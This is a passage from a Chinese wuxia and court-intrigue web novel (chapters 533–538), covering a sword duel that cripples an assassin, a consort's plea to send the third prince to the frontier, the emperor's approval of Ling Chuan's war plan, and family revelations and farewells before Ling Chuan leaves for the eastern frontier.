杨斗重没有回答,而是继续问道:“在我的印象里,除了与剑气近有过一次切磋之外,再无其它恩怨,我实在想不通,你们为何要给我下毒!” “有人出价买你的命,丹青府接了,仅此而已!”临江仙回答道。 杨斗重点了点头,也没再追问,而就在此时,四面八方响起了急促的脚步声,只见大批手持刀剑弓弩的家丁迅速涌了进来,将杨斗重团团围住。 这些家丁虽然平日里只是为李家看家护院,但实力却丝毫不输于正规军队。 然而,对于这些家丁武勇,杨斗重却连看都没看一眼,他目光直视临江仙,说道:“我只出一剑,你若能挡下,我便饶你一命!” 听到这话,临江仙的眼神中闪过一抹希望,问道:“杨剑神此话当真?” 杨斗重淡然笑道:“我杨斗重何时说过假话?又何须对你撒谎?” 言语之中充满了不屑,但临江仙却没有生气,因为他很清楚杨斗重这个名字在江湖中的分量,尽管他曾败于白云城,但曾经却是一度压得半座江湖都抬不起头来的存在。 临江仙抬手示意家丁们退下,因为,他很清楚,在这位面前,就算是再多十倍的人,也只是枉送性命。 “杨剑神,请吧!” 杨斗重也没有废话,只见他缓缓抬起右手,并起两根手指,说道:“当年,我与剑气近切磋之后,自创一剑名为斩千秋,你若能接下,我饶你一命!” 第一卷 第533章 一剑斩千秋 尽管杨斗重许下承诺,只要自己能接下他一剑便可活命,但临江仙心里却不敢有丝毫松懈。 身为宗师的他,心里很清楚,真正的高手过招,大战三百回合与一招定胜负,很多时候并无实质性的区别。 不过,他也在庆幸,对方用的是早年的成名绝技斩千秋,而非那惊世骇俗的大江东去。 以丹青府的情报,对于斩千秋这一剑自然是有所了解。 二十年前,一名来自大和帝国的武道宗师,远渡重洋到中原四处挑战,连败诸多中原高手。 而彼时的杨斗重初登宗师境,正好与这位名为藤原苍介的大和宗师碰上,二人约战于南海之上。 原本以为,这必然是一场势均力敌的鏖战,中原大批江湖人士纷纷赶去观战,顺带为杨斗重站台鼓气。 然而,很多人赶到那里的时候,战斗已经结束了,打听之后得知,杨斗重只用了一招,便将那位大和武道宗师击败。 据目睹这一战的人叙述,杨斗重那一剑直接将海面切割成了两半,剑气久久不散,以至于海水始终无法合拢。 仅此一点,便足以说明这一剑的恐怖。 只见杨斗重并指如剑,霎那间,他指尖迸射出一道寸余长的剑芒,宛如鱼儿一般,围绕在他的指尖游动。 那道剑芒虽然只有寸余长,但却绚烂到刺眼,让人不敢直视。 临江仙目光灼灼,哪怕相隔十余丈,他也能清楚地感受到那道剑芒之中所蕴含的剑意,凌厉而霸道。 “大少爷,带老爷退远些!”临江仙对身后的李晋安说道。 李晋安脸上带着几分疑惑,他虽然知道老管家来历不凡,但没想到他竟是丹青府的人,不过,见父亲神色如常,显然他是知道真相的。 待二人退到一边后,临江仙双手结印,霎时间,他浑身真气如决堤江河一般席卷而出,整个人气势陡然攀升,就连周围的空间都变得扭曲起来。 强大的气势席卷而出,瞬间将偌大的庭院淹没,一众李家家丁只感觉胸口压着一块巨石,脸色一片苍白,只能不断后退。 杨斗重并没有抢先出手,而是在不断凝聚这道剑芒,同样他也是在给对方时间,让他将提升到最巅峰的状态。 以这位剑神的骄傲,显然不屑于投机取巧,而且,只有击败最巅峰的临江仙,才不算辱没了自己这一剑。 “准备好了吗?”杨斗重淡淡问道。 “杨剑神,来吧!”临江仙沉声喝道。 只见杨斗重右手指天,霎时间,那道寸余长的剑芒宛如闪电一般,迅速暴涨, “斩!” 随着杨斗重一声冷吒,右手径直斩落而下。 “咔嚓……” 一道绚烂剑芒犀利而霸道,仿佛要撕裂天地一般斩落下来。 那一刻,整座庭院之中,无论是李家父子还是一众家丁都感觉自己在这一道剑芒面前,宛如尘埃一般渺小。 临江仙一双瞳孔猛然收缩,浑身神经紧绷,体内真气更是毫无保留地倾泻而出,在体外凝聚成一道道流光,宛如无坚不摧的铠甲,将其护得严严实实。 与此同时,这位平日里沉稳、恭谦的老管家陡然间变得高大起来,身上的气势也变得雄浑而霸道,就连身躯似乎都高大了许多。 可就在此时,那道剑芒宛如银河倒泻,将刚笼罩而来的夜幕彻底撕裂,偌大的庭院被照得光可鉴人。 终于,剑芒落下! 笼罩在临江仙体外的层层真气顷刻间便被绞碎,这一剑,不仅破开了临江仙的防御,连同他身后那座已有数百年历史的李氏正堂也被一剑破开。 若是从高空俯瞰,可以清晰看到,一条数十丈长的裂缝将偌大的正堂一分为二,所过之处,无论是瓦片房梁,还是下方的青石地砖,皆被劈开。 所过之处如犁庭扫穴,无一完整! 一剑落下之后,杨斗重并未停留,而是转身离去,正如他之前所言的那般,他只出一剑。 若临江仙能接下,那是他的本事,命不该绝,若他接不住,也是他没本事,命该如此! 不过,在离开之前,他意味深长地侧过目光扫了李氏父子一眼,但并未说话,径直出门离去。 那座被劈开的李氏正堂跟前,临江仙依旧保持着站立的姿势,只不过,他此时的脸色已经彻底扭曲,显然是痛苦到了极点。 他虽然竭尽全力,扛下了杨斗重的一剑斩千秋,但,其恐怖的剑气却如鱼群一般,涌入到了他的身体之中。 此刻,那些剑气就在他体内的经脉之中横冲直撞,所过之处,经脉被撕裂、真气被绞碎,最终,所有的剑气,从不同的方向汇聚向气海。 “噗……” 临江仙喷出一大口鲜血,脸色一片苍白,整个人更是站立不稳,直挺挺朝着后方倒下。 “终究,还是未能……接下!” 临江仙呢喃自语,眼神中带着不甘与自嘲,但也只能无奈闭上双眼。 就在此时,一道身影无声无息地出现在他的身后,将他摇摇欲坠的身体稳住。 “别说话,护住气海!”李成煌沉声说道。 紧接着,一道雄浑的真气宛如暖流一般,进入到临江仙的身体之中,帮助他炼化体内那些剑气。 “别白费心机了,没,没用的!”临江仙嘴里不断咳血,吃力地说道。 李成煌也知道,杨斗重的剑气过于霸道,想要在短时间内将其炼化难如登天,就现在的情况而言,或许还未炼化,临江仙的身体已经承受不住了。 但李成煌并未放弃,而且将更多真气渡入其体内,试图将那些剑气直接抹灭。 已经离开李府的杨斗重似乎心有所感,只见他嘴角露出一抹笑意,随即便头也不回地离开。 然而,就在此时,临江仙体内那些剑气尽数炸开,宛如决堤的江河一般,在其体内肆虐。 顷刻间,临江仙体内经脉寸断,就连气海都被绞碎,数十年的修为以肉眼可见的速度散去。 临江仙七窍流血,浑身抽搐,随即便昏了过去。 李晋安连忙冲上来,满脸焦急地问道:“父亲,管家他……” “经脉寸断,修为尽失,好在命保住了!”李成煌的脸上带着几分疲惫,额头上更是能看到细密汗珠。 第一卷 第534章 华昭妃相邀 离开李府之后,杨斗重并未返回王府,而是径直去了书院,来到书院三层见到了院长陈清辞。 “老东西,你早就知道,李家就是丹青府的据点吧?”杨斗重在他对面随意坐下,语气中带着几分了然。 老院长唇角微扬,执壶为他斟茶:“之前只是怀疑,尚不能确定。” “好了,如今我已帮你证实,算是替那小子还了人情。”杨斗重轻叹一声,目光深远,“往后神都之事,我不会再掺和,估计,此生也不会再踏足此地了!” 老院长俊朗的面容上浮起淡淡笑意:“你真要去白云城?” “你也觉得我会输?”杨斗重挑眉反问。 老院长并未直接回答,而是缓步走到窗边,望向神都的万家灯火,他身姿挺拔如松,面容宛若青年,唯有满头霜发平添几分妖异。 “纵观这一甲子江湖,每一代都不乏天赋卓绝之辈!无论你杨斗重,还是蜀山萧剑离、蜀南李长亭、南海孟星凡,皆是当之无愧的天才。” 夜风拂过,将他那件打满补丁的长衫轻轻掀起,“但你们与白惊霆相比,终究差了一线!” 杨斗重神色淡然,唇角含笑:“对初入武道之人,天赋确实重要。可到了你我这般境界,天赋反倒是最廉价的东西,初尝败绩便一蹶不振,最终泯然纵容的天才还少吗?相比之下心性坚韧之辈,方能行至更远。” 老院长微微颔首:“如此说来,这十六年打铁生涯,已将你残缺的剑心修补圆满?” “哈哈哈哈……”杨斗重朗声大笑,眼中却掠过一丝沧桑,“于我而言,胜负已无关紧要。只是不想将这遗憾带进棺材罢了!” …… 次日,皇帝让刘恩赐传令,让凌川巳时到御书房见驾,所以他并没像上朝那般早早起床,而是晨练之后才出门,临近辰时方入宫。 此前已去过御书房,凌川便婉拒了刘公公带路,决定独自前往。 行至半途,一名年轻宫女见到凌川,连忙快步上前,躬身行礼:“侯爷,我家娘娘有请。” 凌川闻言微怔,温声问道:“敢问是哪位娘娘?” “回侯爷,是昭妃娘娘。”宫女恭敬应答。 听闻是昭妃娘娘,凌川暗自松了口气,颔首道:“带路吧!” 在宫女引领下,凌川绕过假山回廊,来到后宫区域的云霓斋。 华昭妃乃是三皇子周灏的生母,她并非名门闺秀,而是流落江湖的歌女,当年皇帝微服出巡,对她一见倾心,遂带回宫中册封为妃。 然而她这般既无靠山、又无背景的妃子,想要在深不见底的后宫中立足,其艰难可想而知。初时仗着皇帝恩宠尚能安好,可时日一长,皇帝忙于朝政,对她日渐冷落,其地位也一落千丈。 即便后来诞下皇子周灏,境遇也未见好转,反被皇后与齐贵妃等人打压得愈发厉害。 凌川不知她为何寻自己,但直觉告诉他,多半与三皇子有关。 “娘娘,侯爷到了!”宫女在殿外禀报。 “快请进来!”殿内传来一道清越嗓音,带着几分急切。 “凌川见过昭妃娘娘!”刚进殿门,凌川便恭敬行礼。 “侯爷不必多礼,快请坐!”华昭妃起身相迎,眉眼间尽是殷切。 凌川落座后,悄悄打量对方一眼。华昭妃虽年近四十,但风韵犹存,容貌气质依旧出众。或许因常年深居宫中,眉宇间凝着一抹化不开的轻愁。 宫女奉上茶点后,华昭妃轻轻挥手,殿内侍从皆躬身退下。这般阵仗让凌川心头微紧。 “侯爷不必紧张!”华昭妃柔声开口,指尖轻轻摩挲着茶盏,“臣妾冒昧相请,实是有事相求。” 凌川正色道:“娘娘言重了。若有吩咐但说无妨,臣定当竭尽全力!” “臣妾知道,侯爷深得陛下信任,身负边关重任,若非万不得已,也不敢劳烦侯爷!”华昭妃轻叹一声,眼中浮起水光,“可我思来想去,除侯爷外,再无人能相助,这才冒昧相邀。” 凌川目光微动,试探问道:“娘娘可是为了三殿下?” 华昭妃颔首,声音微颤:“灏儿生性文弱,臣妾想请侯爷将他带在身边,去边关历练一番!” 凌川闻言蹙眉,连忙推拒:“娘娘,此举万万不可!三殿下万金之躯,岂能亲涉边关险地?若有个闪失,臣万死难赎其罪!” 华昭妃凄然一笑,眼中恳切更甚:“以侯爷的睿智,想必早已看清朝堂局势。我们母子在这深宫之中,便如无根浮萍。如今局势愈发紧张,他若继续留在神都,必死无疑!” 她凝视着凌川,泪光盈盈:“跟在侯爷身边虽要吃苦,至少能保全性命。即便当真战死沙场,也算为国尽忠,让陛下脸上有光。总好过……不明不白地葬身于宫闱阴谋之中!” 听到此处,凌川心下明了。 华昭妃让三皇子随行,名义上是历练,实则是找自己寻求庇护。 虽说这母子二人从未对储君之位有过非分之想,但在大势倾轧下,根本由不得他们选择,一旦站错队便是万劫不复,即便站对了队,也难保不会沦为弃子。 在她看来,边关纵险,犹胜过后宫这片杀人不见血的泥沼。 凌川沉吟片刻,谨慎回道:“娘娘用心,臣已知晓!此前与三殿下曾有一面之缘,深知他秉性淳良,心怀苍生。只是此事……非臣所能决断。” 华昭妃见凌川未直接拒绝,神色稍缓,忙道:“侯爷放心,此事不会让您为难。灏儿昨夜已求见过陛下,陛下并未阻止,只说全凭侯爷定夺。” “若陛下允准,臣自当遵从!”凌川郑重应下。 华昭妃激动起身,对着凌川深深一礼:“臣妾谢过侯爷!此恩此德,无以为报,唯愿日日焚香祈祷,求上天保佑侯爷旗开得胜,平安顺遂!” “娘娘!”凌川慌忙起身,欲扶又止,“娘娘行此大礼,实在是折煞微臣了!” “灏儿生性善良,却缺了男儿的刚毅果决,到了军中,侯爷不必刻意照拂,与将士们一视同仁便好!”华昭妃眼含泪水,语气却异常坚定。 第一卷 第535章 天子符玺 离开云霓斋,凌川的心情略显沉重。 平心而论,他对三皇子的印象颇佳。当日在望云关便已看出,这是一位真正心系苍生的皇子。这般出淤泥而不染的品性,在这深宫之中显得尤为珍贵。 但也正因他过于仁厚,极易被人利用,成为他人争权夺势的棋子。 华昭妃可谓用心良苦,将他送入书院,期盼得到院长的庇护。若无院长的照拂,三皇子能否安然活到今日,恐怕都是未知之数。 忽然,凌川想起院长对三皇子的评价:“勤勉、仁孝、聪慧,体恤民情,唯独心肠太过仁慈……” 莫非,华昭妃让三皇子随自己去边军历练,也是院长的意思? 万千思绪在脑海中翻涌,不知不觉间,凌川已来到御书房外。得知陛下尚未退朝,他正欲在不远处的凉亭等候,不料刚坐下,便见皇帝在贴身太监小宁子的陪同下归来。 “臣参见陛下!”凌川急忙起身,上前行礼。 皇帝停下脚步,目光在他身上打量一番,眉头微挑:“你的蟒袍呢?” 凌川连忙解释:“昨日饮酒不慎将蟒袍弄脏,已经浆洗,尚未干透!” 皇帝指着他忍俊不禁:“什么尚未干透,你少糊弄朕。分明是觉得太过招摇,不肯穿吧!” 被一语道破心思,凌川只得尴尬一笑。 皇帝将他带入御书房,神色转为严肃:“兵部和南宫昰的作战方略,朕已阅过。中规中矩,毫无新意。希望你能给朕一个惊喜。” “臣已拟定方略,请陛下过目!”凌川将地图与奏折一并呈上。 小宁子接过,轻轻置于御案,皇帝先拿起奏折细读片刻,随即搁置一旁,缓缓展开地图。小宁子连忙取来镇纸,压住地图两侧。 皇帝凝神细看,神色逐渐变化,从最初的从容转为好奇,继而变得专注,最后眼中闪过一丝惊叹。 “凌川!” “臣在!” 皇帝放下奏折,目光灼灼地注视着他:“这份作战方略,是你一人所拟?” “回陛下,”凌川拱手答道,“臣拟定后,曾请安国公把关!” “呵呵……你小子倒是机灵!”皇帝轻笑一声,“安国公如何评价?” 凌川目光微动,如实回禀:“安国公说,谁若敢在里头鸡蛋里挑骨头,就拿大耳刮子抽他。” 听闻此言,皇帝脸上闪过一丝诧异,随即想到安国公素来的脾气,不由失笑:“好小子,照你这么说,朕也不敢质疑了?” “臣不敢。”凌川垂首道。 皇帝对他招了招手:“你过来!” 凌川心中忐忑,暗悔方才太过实诚。 皇帝见状笑道:“放心,朕不罚你,只是有几处不明,要你仔细讲解。” 凌川这才上前,依照皇帝所指之处详细解说。皇帝一边聆听一边颔首,虽极力维持平静,内心却已掀起惊涛骇浪。 难怪凌川能以一千多人斩杀数万胡羯大军,此前,他还觉得这其中有很大的运气成分,可现在看到这份作战方略后,心中那一丝怀疑直接烟消云散。 同样,他也终于理解为何安国公会给出那样的评价了,因为,这份作战方略实在是太过于精妙,几乎将天时地利人和全部运用到了极致,更是将所有的可能全部考虑了进去,就算是纵横沙场多年的老将,也很难做到这么详细。 足足半个时辰,凌川才将整个方略讲解完毕。 皇帝满意地点头:“甚好,就照此执行!” “啊?就这么定了?”凌川难掩惊讶。 “怎么?朕的话不作数?”皇帝挑眉反问。 “臣不是这个意思,只是……是否该与兵部商议?”凌川谨慎回应。 “这份作战方略,除你之外,只有朕与安国公知晓。在你抵达东疆正式行动之前,切勿声张!”听闻此言,凌川眉头微蹙,无数念头在脑海中闪过。 皇帝郑重注视着他,语气深沉:“朕只有两个要求:一是护好自身周全,二是务必赢下此战!” 凌川躬身抱拳,声音铿锵:“陛下放心,臣定当竭尽全力,平定东疆!” 皇帝从腰间取下一块金牌,亲手塞入凌川掌中:“此乃天子符玺,如朕亲临!但非到万不得已,不可轻用。” 凌川紧握这块沉甸甸的金牌,心情愈发沉重。这分明是皇帝赐予的底牌。放眼东疆,需要动用此令的,唯有一人——东疆主帅林远图。 皇帝选择私下授予而非朝堂公开,其中深意不言自明。 其一是不愿让林远图多心。持天子符玺赴东疆,本就显露出对林远图的不信任。若让他误以为是去夺权,故而生变,后果不堪设想。如今大敌当前,任何变故都可能引发致命动荡。 但皇帝又担心林远图拒不配合,导致作战方略无法实施,这才赐下这道护身符。 “蓝少堂的禁军明日起程,你这边也抓紧准备!”皇帝轻拍他的肩膀嘱咐道。 “臣遵旨。” 皇帝忽然想起什么,问道:“华昭妃找过你了?” “是!” 凌川坦然承认,对皇帝知晓此事,他并不意外,毕竟三皇子已先行请示,华昭妃随后找他也在情理之中。 皇帝轻叹一声,眉宇间闪过一丝怜惜:“这些年来,确实苦了他们母子!可在这深宫之中,唯有冷落疏远,才是对他们最好的保护!” 凌川静立一旁,默不作声,这是皇帝家事,他一个外臣不便置喙。 “将老三带在身边也好,接下来,这皇宫乃至神都,怕是不会太平了。”皇帝语重心长地说道。 “陛下放心,臣定会护三殿下周全!”凌川郑重承诺。 “不!”皇帝摇头道,“朕昨夜已与他约定,到了军中他便不再是皇子,只是一名普通士卒。与士兵同吃同住,不得享有任何特权。若能凭本事立下军功,晋升校尉、都尉乃至将军,那是他的造化,朕会为他感到高兴!” 皇帝语气转厉,目光如炬:“你也不得泄露他的身份,更不可给予特殊关照。百姓之子能上阵杀敌,为何朕的儿子就不行?” “臣明白!”凌川肃然应道。 第一卷 第536章 皇帝上门蹭饭 走出宫门,蓝少堂便迅速迎了上来,显然已在此等候多时。 “蓝少堂,见过侯爷!”见凌川出来,他连忙上前行礼。 凌川淡然一笑,亲昵地揽住他的肩膀:“蓝将军,我凌川为人就这么差劲?咱们一同经历了这么多生死,你怎么还如此见外?” 见凌川虽身份地位已非昔日可比,却依旧这般随性洒脱,蓝少堂心头一暖,爽朗笑道:“往后要在侯爷麾下效力,这不是怕您给我穿小鞋嘛!” 凌川佯装沉思,摸了摸下巴:“说起来,我记得在望云关时,你好像还嘲笑过我?” “啊?您还真记仇啊!”蓝少堂顿时苦着脸。 “好了,说正事!”凌川收起玩笑神色,正色道,“陛下命你率一万禁军随我前往东疆,这是为我撑腰,我心里明白,你转告禁军弟兄们,只要听从军令,我保证人人皆有军功可捞!” “哈哈哈!”蓝少堂拍着胸脯,豪气干云,“弟兄们听说要跟您去东疆,个个争抢着要去!侯爷放心,若有谁胆敢违抗军令,不必您动手,我蓝少堂第一个砍了他!” “你将校尉以上将领的名册给我一份,越详细越好!”凌川点头道。 “早已备好!”蓝少堂从怀中取出一份名册递上。 凌川展开细看,只见上面详细记载了每位校尉的年龄、籍贯、军龄、性情与特长,不由满意颔首:“你先率大军先行,我需迟几日出发。我随行人少,想必很快便能追上。” “遵命!”蓝少堂抱拳应道。 原本蓝少堂欲请凌川至禁军大营举行誓师大会,却被凌川婉拒。在他看来,此刻尚未抵达东疆,鼓舞士气为时过早。况且禁军皆是从各边军精选的百战精锐,无论实力还是心志皆毋庸置疑,誓师实无必要。 次日清晨,蓝少堂率领一万禁军,浩浩荡荡自宣武门开出神都,直指东疆。 蓝少堂一行还带着雪姬公主为首的大和使团一行,虽说已经确定要开战,但大周却不能丢了气度和格局,决定将其一行送回东疆。 朱雀大街两旁早已聚满了百姓,纷纷为大军送行。 宣武门上,皇帝亲率文武百官为大军送行,凌川亦在队列之中,目光灼灼地注视着这支威武雄壮的队伍。 大军甲胄鲜明,军容整肃,皇帝脸上露出欣慰的笑容,仿佛已见到凯旋的景象。 然而凌川的目光却格外沉重,他深知,此战无论胜败,注定有许多将士无法生还,这便是战争的残酷。 或许对朝堂上许多官员而言,他们只关心胜负,即便得知伤亡,也不过视作冰冷数字。 唯有那些在战场上历经生死、亲眼目睹同袍倒下的幸存者,才真正明白每一个数字背后,都是一条鲜活的生命。 当晚,凌川在王府设宴,邀请宋家嫡系、安国公祖孙、兵部尚书耿云旌、左侍郎崔鉴、工部侍郎娄桓等二十余位官员。 宴席菜肴多由刘恩赐张罗,凌川亦亲自下厨烹制了几道拿手菜招待宾客。 正当凌川欲招呼众人入席时,门外忽然传来一道故作不悦的声音:“好你个凌川!朕待你不薄,你设宴竟不请朕?” 众官员闻声色变,慌忙起身欲跪拜行礼。 只见皇帝身着华贵常服,在阎鹤诏与南宫昰的随侍下信步而入。 “这里不是宫中,大家不必多礼!”皇帝随意摆手,转而笑问凌川,“朕今日厚颜前来蹭饭,你不会将朕赶出去吧?” 虽知皇帝在说笑,凌川仍不敢怠慢,连忙躬身告罪:“陛下恕罪,是臣考虑不周!” “哈哈,朕也未备贺礼,便算扯平了!”皇帝爽朗大笑,对众人挥手道,“都别站着了,开席吧!” 众人依序入座,皇帝自然居主位,左右分别坐着宋鹤年与安国公张泊远。 “嗯!这道菜滋味甚妙!”皇帝对眼前的红烧肉赞不绝口,“是何人所烹?朕要召他入宫当御厨!” 宋鹤年捻须笑道:“陛下这个愿望,怕是难以实现了!” “哦?这是为何?”皇帝诧异。 “此菜乃镇北侯亲手烹制!”宋鹤年含笑解释。 皇帝一脸不可思议地看向凌川:“荒唐!你身为武将,不研读兵法,反倒钻研起厨艺来了!” 虽口中这般说着,皇帝手中筷子却未曾停歇,不住往碗中夹肉。 忽而他转头看向身旁的安国公,佯怒道:“国公爷,您能否给朕留些?” 皇帝今日刻意放下身份,使得宴席气氛轻松活跃了许多。 正当年少俊秀的秦羽上前为众人斟酒时,皇帝好奇问道:“这是谁家儿郎?” 凌川连忙起身回话:“回陛下,这便是臣前两日向您提过的秦羽!” 皇帝放下筷子,慈和地招手唤秦羽近前,少年紧张得双腿如灌铅般沉重,每一步都迈得极为艰难。 “秦简之子秦羽,拜见陛下!”秦羽双膝跪地,恭敬叩首。 “免礼,免礼!”皇帝亲手将他扶起,温言勉励,“你父亲为国捐躯,朕深感欣慰!你的事,凌川已向朕禀明。往后你在书院要好生求学,争取成为帝国栋梁,造福天下苍生!” “秦羽谨遵圣谕!”少年声音虽稚嫩,语气却异常坚定。 凌川让秦羽前来斟酒,本意是让他在众官员面前混个脸熟,日后自己离开神都,众人也能对他多加照拂,岂料皇帝竟会亲临,这番机缘着实出乎意料。 宴席在其乐融融中进行,欢声笑语不绝于耳。 凌川将仅存的狼血酒尽数取出招待宾客,反正即将离开神都,这些也不必带走了。 宴毕,凌川将宾客一一送别。 皇帝却特意寻到苏璃,二人在后堂叙话良久,凌川虽未入内,却也猜得到话题必与苏家有关。 待皇帝带着南宫昰与阎鹤诏最后离去,凌川回到房中,只见苏璃双眼通红,显然刚哭过。 “相公,有件事,我一直未曾告诉你……”苏璃眼中满是歉疚。 凌川温柔一笑,轻抚她的秀发:“你要说的,可是关于兄长苏尧之事?” 第一卷 第537章 人皮面具 苏璃神色一惊,“相公……你早就知道了?那为何从不问我?” “娘子不愿说,自有你的道理!”凌川轻轻将她揽入怀中,温声道,“我们在狼烽口成亲那晚,那个黑衣人就是你哥哥吧?” “嗯……”苏璃将脸埋在他胸前,轻轻点头。 “他应是专程来看你的,不曾想被我撞见了!”凌川苦笑道,“倒是我打扰了你们兄妹相见!” “方才陛下告诉我,是他暗中安排,瞒过所有人将哥哥送出神都的!”苏璃抬起泪眼,“父亲的全盘计划也都告知了哥哥。可自狼烽口匆匆一别后,便再没有他的音讯。方才从陛下口中得知,他去了天汗城……”她语声哽咽,满是担忧。 苏璃将陛下方才所言尽数道来,原来一年前,苏将军以‘先斩后奏’之策以身入局,皇帝已无法阻止,只得硬着头皮将这盘棋下到底。 为使这出戏更显真实,之后的查抄苏家、清洗南系军,皇帝皆放任自流,甚至默许推波助澜,但他终究不忍眼睁睁看着他们兄妹真的被处死或流放。 苏尧在问斩前夜被暗中替换,随后便被秘密送出神都,当初他在狼烽口现身,正是特意回来看望妹妹苏璃。 至于苏璃,虽被流放,却一直有人暗中保护,若非如此,以她的容貌,早在途中就被人选走,根本到不了狼烽口。 而被送往狼烽口也非偶然,只因陈暻垚在那里。 可以说,一切尽在皇帝掌控之中,唯有凌川,是这盘棋中唯一的变数。 “想来那晚哥哥现身狼烽口,便是要告知我实情!”苏璃轻叹,“可你突然出现,让他心有顾忌!” 凌川微微颔首:“如此说来,除陛下外,你哥哥也知悉内情。但其他人都被蒙在鼓里,包括你和陈暻垚。” “若非陛下今日坦言,我至今仍不明真相!”苏璃低语。 “他们不告诉你,也是对你的保护,毕竟,此事关乎重大,知道了反而会更危险!”凌川安慰道。 苏璃点了点头,内心却是五味杂陈,原来,父亲和哥哥背负了这么多。 若说此前苏璃对皇帝是否残害苏家的元凶尚存疑虑,那么当他道出这一切时,她心中最后一丝猜忌也已烟消云散。 几日前安国公出示的那封父亲绝笔,与今日皇帝透露的真相,足以说明一切。若非皇帝暗中斡旋,根本无法解释苏尧为何能从天牢中逃脱,毕竟当时他与父亲是在众目睽睽之下被问斩的。 次日,凌川将秦羽送至书院,出门相迎的仍是上次见过的少年书生许一流。 许一流恭敬对凌川行礼,说道:“侯爷放心吧,院长大人亲口交代过了,他在书院很安全!” 凌川点头致谢,“有劳了!” 随即他看着二人走进书院,秦羽一步三回头,眼神中满是不舍,直到二人消失在石阶尽头,凌川才转身离开。 凌川在神都为吴氏购置了一座小院,院子虽不大,却足够母子二人安居。在神都这等寸土寸金之地,即便是这样一座小院,也价值不菲。 吴氏执意要付银两,凌川自然不肯收,虽然秦简的抚恤金不少,但他们母子二人在这神都城中定居,往后生活都需要银子。 而自己前几日的授封大典上,陛下赏赐了足足五千两黄金。 可吴氏一直坚持,凌川拗不过她,只好改口道:“嫂子,这院子是我送给羽儿的,若真要给银子,待他日后做了官再给不迟!” “侯爷待我们母子恩重如山,这份情谊,妾身实在无以为报。”吴氏眼中含泪,“今日我代羽儿立下字据,来日定当奉还!”说罢,她坚持让凌川以秦羽的名义立下字据。 凌川无奈,只得写下字据,一式两份。 吴氏将其中一份仔细收好,凌川拿着另一份走出院门,待转过街角,他指尖轻捻,那张借据便化作齑粉,随风飘散。 回到王府,凌川取出一锭金子和若干布匹,交给刘恩赐:“劳烦公公将金子兑成银票,连同这些布匹一并交给吴氏。” “侯爷其实不必如此破费!”刘恩赐躬身道,“陛下此前提过,要给秦羽赐府邸,已经在安排了!” “这不是还没赐下嘛!”苏璃接口道,随即取出一锭银子递向刘恩赐,“有劳公公走这一趟。” 刘恩赐连忙后退:“侯爷、夫人言重了!您二位交代的事,奴才定当办妥。但这银子,奴才万万不敢收!” 随后,凌川又去了风雪楼,再次见到柳云媚。 近来在神都,风雪楼虽未公然露面,却在暗中助他良多。 凌川过两日便要离开神都,于情于理都该来道别。 柳云媚依旧娇俏可人,唇上那颗美人痣平添几分妩媚,凌川此行除了致谢,更是带着诚意而来:“柳小姐,往后狼血酒和棉布会大量进入神都,届时还需你多多帮衬!” “侯爷言重了!”柳云媚掩唇轻笑,“您这是给奴家送银子来了,哪里谈得上帮衬二字!” 事实上,凌川眼下有个棘手的问题:无论是狼血酒还是棉布,从北疆运来路途遥远,人力与运输成本太高。若能在神都设厂酿酒织布,成本将大大降低。 可眼下最缺的是人手,若从云州调人过来,他们对神都人生地不熟,难以立足。风雪楼帮忙售卖尚可,让他们参与生产却不合适。 毕竟风雪楼是地下杀手组织,酒楼不过是掩人耳目的据点。 临别时,柳云媚递给凌川一个紫檀木盒:“这是奴家送给侯爷的一份薄礼,望侯爷莫要嫌弃!” 凌川好奇接过:“这是?” “侯爷打开一看便知!”柳云媚俏皮地眨眨眼。 凌川打开木盒,只见里面躺着几张薄如蝉翼的面具,细看竟是按不同年龄阶段制作的人皮面具。 “奴家就会这点手艺。”柳云媚嫣然一笑,“想着侯爷日后或有用处,就按您的脸型做了几张!” “柳小姐有心了!”凌川郑重抱拳。 “侯爷此去东疆,沿途恐怕不比回神都时太平!”柳云媚收起笑意,正色道,“万望小心!” “多谢提醒,我会留意的!”凌川颔首道。 第一卷 第538章 商贾之才 按照计划,明日就要动身前往东疆,凌川已经让苍蝇和洛青云等人整顿队伍,收拾东西了。 离开之前,凌川陪着苏璃再次来到奉英山祭拜父母。 得知父亲一案的真相后,二人内心愈发沉重。 苏璃跪在坟前,低声啜泣。 凌川将一张张纸钱轻轻投入火堆,沉声道:“岳父大人放心,我定会遵照您的计划,完成您的遗愿!” 按照他们最初的打算,此次回神都本是要将当年参与陷害苏家的仇人一一铲除。然而局势发展出人意料,此时若贸然对黄齐二党出手,势必要搅乱此前的布局。 对此,皇帝也已明言,现在还不是时候。 下午,凌川二人备上礼物再次来到宋家辞行,刚落座不久,一个年轻身影连滚带爬地冲进正堂,噗通一声跪在凌川面前。 “姐夫,我知错了,求您大人不记小人过……” 这年轻人不是别人,正是宋云舟之子宋清泉。 当日宋老爷子寿宴,正是他与宋清欢一同将凌川夫妇拦在门外。 依着宋老爷子的脾气,本要将他与宋砚声一家一起逐出宋家,念在宋云舟并未与黄党勾结,这才网开一面。 今日见凌川夫妇登门,宋清泉立即前来请罪。 凌川并未为难他,只是淡淡道:“你错的不是为难我,而是丢了宋家世代积攒的风骨,让你父亲和祖父在神都抬不起头来!” “姐夫,我知道错了,都怪我猪油蒙了心,听信了宋清欢的蛊惑……”宋清泉声泪俱下地哭诉。 “起来吧!”凌川摆了摆手。 宋云舟见状,厉声呵斥:“丢人现眼的东西!整日不务正业,钻研那些商贾小道!我给你两年时间,若再不能考取功名,就滚出宋家!” 听到这话,宋清泉脸色顿时惨白,泪水在眼眶中打转。 “爹,不是儿子不肯用功,实在是儿子天生不是读书的料。我努力过了,可那些经义文章,我是真记不住啊!”他语带哀求。 凌川闻言,眼前不由一亮:“四舅,宋家虽是书香门第,但十个指头尚有长短。既然清泉不喜读书,何必强求?或许他在其他领域能有所建树也未可知!” “哎!小川你有所不知……”宋云舟长叹一声,“这小子不学无术,偏偏沉迷商贾小道。我宋家子弟若去经商,岂不让人笑话?” “四舅此言差矣!”凌川正色道,“三百六十行,行行出状元。职业本无贵贱之分,读书可以报效国家、拯救苍生,经商同样能够兼济天下、赈济百姓。若清泉真有经商之才,何不让他一试?” 此言一出,众人先是陷入沉思当中,不久之后,宋老爷子微微点头,说道:“小川此话在理。” 紧接着,老爷子缓缓开口,“只要心怀天下,做什么并不重要。你们不要因为自己是读书人,就自视高人一等。老四,你读的书不少,却不懂得变通啊!” “父亲教训的是!”宋云舟面露愧色。 凌川趁热打铁:“外公,两位舅舅,我这儿倒有个机会,不妨让清泉一试。” 接着,凌川将准备在神都开设酒坊和纺织坊的计划细细道来。宋鹤年等人虽不精通商道,却也并非一窍不通。若按凌川所言,在神都设厂酿造、织造,确实能省去大量运输成本。 